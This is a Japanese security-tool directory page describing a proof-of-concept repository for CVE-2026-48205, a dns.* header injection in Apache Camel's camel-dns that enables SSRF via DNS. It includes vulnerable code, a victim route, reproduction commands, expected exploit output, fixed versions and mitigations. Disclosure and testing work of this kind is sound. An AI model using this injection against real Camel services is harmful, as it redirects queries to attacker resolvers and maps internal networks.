Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-48205 — CVE-2026-48205 の再現コード: Apache Camel camel-dns の dns.* ヘッダーインジェクション。DNS クエリを攻撃者制御のリゾルバーにリダイレクトし (DNS 経由の SSRF)、内部ホスト名の偵察を可能にします (4.14.8/4.18.3/4.21.0 で修正済み)。 | Kitploit
ツール/GitHubGitHub/oscerd/cve-2026-48205
偵察脆弱性分析エクスプロイトウェブアプリケーション悪用DNS分析
GitHuboscerd/cve-2026-48205

CVE-2026-48205

CVE-2026-48205 の再現コード: Apache Camel camel-dns の dns.* ヘッダーインジェクション。DNS クエリを攻撃者制御のリゾルバーにリダイレクトし (DNS 経由の SSRF)、内部ホスト名の偵察を可能にします (4.14.8/4.18.3/4.21.0 で修正済み)。

リポジトリを見る
111ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

camel-dns dns.* / term ヘッダーインジェクション再現コード (CVE-2026-48205)

このプロジェクトは、Apache Camel の camel-dns コンポーネントにおける メッセージヘッダーインジェクション を実証するもので、CVE-2026-48205 として追跡されています。DNS プロデューサーは、クエリ対象のリゾルバ、検索する名前/ドメイン、レコードタイプ/クラス、検索語といった操作パラメーターを Exchange ヘッダーから読み取りますが、その定数値(DnsConstants.DNS_SERVER、DNS_NAME、DNS_DOMAIN、DNS_TYPE、DNS_CLASS、TERM)は、単なる文字列 dns.server、dns.name、dns.domain、dns.type、dns.class、term でした。これらの名前は Camel / camel プレフィックスで始まらないため、HTTP 境界で Camel ヘッダー名前空間のみをブロックする HttpHeaderFilterStrategy は、インバウンド HTTP リクエストから Exchange への通過を許してしまいます。

HTTP コンシューマー(例: platform-http)を dns: プロデューサーにブリッジするルートでは、任意の HTTP クライアントが dns.server ヘッダーを設定することで、dig プロデューサーに攻撃者制御の DNS サーバーを指す SimpleResolver を構築させることができます。これは DNS を介したサーバーサイドリクエストフォージェリ (SSRF) であり、攻撃者はクエリされた名前を観察し、ポイズニングした応答を返すことができます。また、dns.name / dns.domain を設定して任意の内部ホスト名を解決させること(内部ネットワークの偵察)も可能です。

アドバイザリ: https://camel.apache.org/security/CVE-2026-48205.html

脆弱性の概要

この修正により、ヘッダーは CamelDnsServer / CamelDnsName などにリネームされ、他のすべての Camel 制御ヘッダーと同様に HTTP 境界でフィルタリングされるようになります。CVE-2025-27636、CVE-2026-46454、CVE-2026-47323 と同じファミリーです。

技術的詳細

root@kitploit:~
// DnsConstants (affected 4.18.2) — the control-header names are bare, non-Camel-prefixed strings:
public static final String DNS_SERVER = "dns.server";
public static final String DNS_NAME   = "dns.name";

// DnsDigProducer.process (affected 4.18.2) — the resolver target comes straight from the header:
String server = exchange.getIn().getHeader(DnsConstants.DNS_SERVER, String.class);
SimpleResolver resolver = new SimpleResolver(server);        // <-- attacker-controlled DNS server
int type = Type.value(exchange.getIn().getHeader(DnsConstants.DNS_TYPE, String.class));
Name name = Name.fromString(exchange.getIn().getHeader(DnsConstants.DNS_NAME, String.class), Name.root);
// ... resolver.send(query) — the query goes to the attacker's server

この修正(4.14.8 / 4.18.3 / 4.21.0、CAMEL-23574)は、値を CamelDns* の命名規則にリネームします。

被害者ルート

root@kitploit:~
from("platform-http:/lookup")
    .setHeader("dns.name", constant("example.com"))
    .setHeader("dns.type", constant("A"))
    .setHeader("dns.class", constant("IN"))
    .to("dns:dig");                                          // no dns.server -> default resolver (intended)

このルートは固定の名前をデフォルトリゾルバに対して dig します。攻撃者は dns.server ヘッダーを 1 つ追加するだけで、クエリが攻撃者の DNS サーバーにリダイレクトされます。(dns.server は小文字のため、サーブレットコンテナのヘッダー正規化をすり抜けます — platform-http で十分です。)

リポジトリ構成

すべてが単一の自己完結型コンテナ内で動作します:被害者ルート、攻撃者のフェイク DNS サーバー(UDP 53)、攻撃者ドライバーです。

root@kitploit:~
CVE-2026-48205/
├── pom.xml                 # camel-platform-http + camel-dns 4.18.2
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── FakeDnsServer.java     # attacker DNS server on UDP 53 (records the redirected query)
    │   ├── VictimRoute.java       # platform-http:/lookup -> dns:dig
    │   └── ExploitController.java # attacker: injects dns.server=127.0.0.1
    └── resources/
        └── application.properties

前提条件

  • Docker と Docker Compose(フェイク DNS サーバーは UDP ポート 53 にバインドするため root 権限が必要です — コンテナは root で実行されます)
  • Java 17+ と Maven 3.8+(jar をビルドするため)

再現手順

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

想定出力

root@kitploit:~
=== 1) Legitimate request (no dns.server header) — default resolver ===
  attacker's DNS server was queried: false

=== 2) Injected dns.server=127.0.0.1 (SSRF via DNS) ===
  attacker's DNS server was queried: true
  observed lookup name: example.com.

>>> Header-injection / SSRF proof — an unauthenticated HTTP client redirected the route's DNS
>>> query to an attacker-controlled server via the dns.server header: true

これで攻撃者の DNS サーバーは被害者のルックアップ名を確認できます(そしてポイズニング応答を返せる可能性があります)。dns.server を実際の内部 DNS リゾルバに向けたり、dns.name に内部ホスト名を設定したりすることで、内部ネットワークの偵察が可能になります。

推奨される修正

4.14.8 / 4.18.3 / 4.21.0(CAMEL-23574)にアップグレードしてください。アップグレード後、ヘッダー経由で DNS 操作を行うルートは CamelDnsServer / CamelDnsName などを使用する必要があります。

緩和策

アップグレードするまでは、dns: プロデューサーに渡す前に、信頼できないインバウンドから dns.* および term ヘッダーを除去し、DNS サーバーとルックアップパラメーターをルート内の信頼できるソースから設定してください。

免責事項

この再現コードは、公開され修正済みの脆弱性に対するセキュリティ研究および許可されたテスト専用に提供されます。明示的な許可なくシステムに対して使用しないでください。

ツールをダウンロード
PropertyValue
コンポーネントcamel-dns
影響を受けるクラスorg.apache.camel.component.dns.DnsDigProducer — new SimpleResolver(getHeader("dns.server"))
CWECWE-20 (不適切な入力検証) / CWE-918 (サーバーサイドリクエストフォージェリ)
影響ルートの DNS クエリを攻撃者制御のサーバーへリダイレクト(名前の観察、ポイズニング応答の返却); 内部ホスト名の列挙
前提条件HTTP コンシューマーを dns: プロデューサーにブリッジするルートが存在すること; コンシューマーが未認証である場合は認証不要
影響を受けるバージョン4.0.0 以上 4.14.8 未満、4.15.0 以上 4.18.3 未満、4.19.0 以上 4.21.0 未満
修正済みバージョン4.14.8、4.18.3、4.21.0
JIRACAMEL-23574 (PR apache/camel#23411)
クレジットYu Bao (PayPal)